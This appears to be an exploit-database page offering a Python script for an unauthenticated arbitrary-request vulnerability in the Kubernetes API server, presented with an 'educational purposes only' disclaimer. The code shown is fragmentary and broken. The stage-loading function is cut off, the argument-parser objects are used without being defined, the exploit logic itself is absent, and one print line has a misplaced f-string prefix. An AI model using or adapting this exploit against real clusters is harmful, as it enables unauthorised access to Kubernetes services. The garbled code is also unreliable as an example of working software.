Exploits / Vulnerability Discovered : 2018-12-10 |
Type : remote |
Platform : multiple
This exploit / vulnerability Kubernetes (unauthenticated) arbitrary requests is for educational purposes only and if it is used you will do on your own risk!
[+] Code ...
#!/usr/bin/env python3
import argparse
from ssl import wrap_socket
from json import loads, dumps
from socket import create_connection
def request_stage_1(base, version, target):
stage_1 = ""
with open('ustage_1', 'r') as stage_1_fd:
stage_1 = stage_1_fd.read()
required.add_argument('--target', '-t', dest='target', type=str,
help='API server target:port', required=True)
required.add_argument('--api-base', '-b', dest='base', type=str,
help='Target API name i.e. "servicecatalog.k8s.io"',
default="servicecatalog.k8s.io")
required.add_argument('--api-target', '-u', dest='target_api', type=str,
help='API to access i.e. "clusterservicebrokers"',
default="clusterservicebrokers")
optional.add_argument('--api-version', '-a', dest='version', type=str,
help='API version to use i.e. "v1beta1"',
default="v1beta1")
optional.add_argument('--json', '-j', dest='json', action='store_true',
help='Print json output', default=False)
optional.add_argument('--filename', '-f', dest='filename', type=str,
help='File to save output to', default=False)
args = parser.parse_args()
if args.target.find(':') == -1:
print("f[-] invalid target {args.target}")
return False